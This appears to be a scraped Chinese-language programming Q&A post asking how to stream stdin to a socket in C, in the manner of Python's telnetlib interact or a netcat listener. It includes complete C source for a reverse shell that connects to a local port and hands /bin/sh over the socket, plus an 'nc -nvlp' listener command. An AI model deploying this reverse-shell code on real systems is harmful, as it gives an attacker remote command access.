【发布时间】:2021-05-18 13:38:18
【问题描述】:
在 Python 3 中,我可以利用telnetlib 的库来使用/导入方法interact,这可以让我将stdin 流式传输到传递给interact 方法的socket。此外,netcat 提供了类似的功能(当然除了能够在 Python 3 中以编程方式传递 socket),例如:nc -nvlp 8080。
我的问题是:
有没有办法以编程方式复制telnetlib 的interact 方法的行为/将stdin 流流式传输到C 中给定的socket?还是这个过程很复杂?如果过于简单,interact 方法的逻辑如何在 C 中复制?
例如,假设我正在运行一个类似于 SSH 的简单客户端 C 反向 shell 程序,它使用 dup2 将 stdin、stdout、stderr 流式传输到重复的套接字 file descriptor。我如何能够在 C 中以编程方式与该客户端通信?
我尝试以编程方式与之通信的示例 C 客户端:
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define REMOTE_ADDR "127.0.0.1"
#define REMOTE_PORT 8080
int main(int argc, char *argv[])
{
struct sockaddr_in sa;
int s;
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
sa.sin_port = htons(REMOTE_PORT);
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr *)&sa, sizeof(sa));
for (int i=0; i<3; i++)
dup2(s, i);
execve("/bin/sh", 0, 0);
return 0;
}
总结一下:我基本上是尝试在 C 中以编程方式与提供的客户端进行通信。
【问题讨论】:
-
是的,您从标准输入读取,然后写入套接字。然后你从标准输入读取并再次写入套接字。重复直到奶牛回家。
-
@ty_c0der - 从您的示例 C 客户端来看,您实际上并不想使用 Telnet 协议,对吧?
-
Python 的
telnetlib库提供interact方法我想复制此方法的功能,类似地,如果与netcat将输入流流式传输到套接字的能力不同的话。我愿意使用任何有用的东西。 -
因为它是一个反向 shell(如 ssh),只是为了正确地尝试流式传输标准输入。
-
如果你能找到任何可以帮助我理解如何实现这一点的 sn-ps 代码,如果你能发布它们,那就太棒了。
标签: c sockets std telnet netcat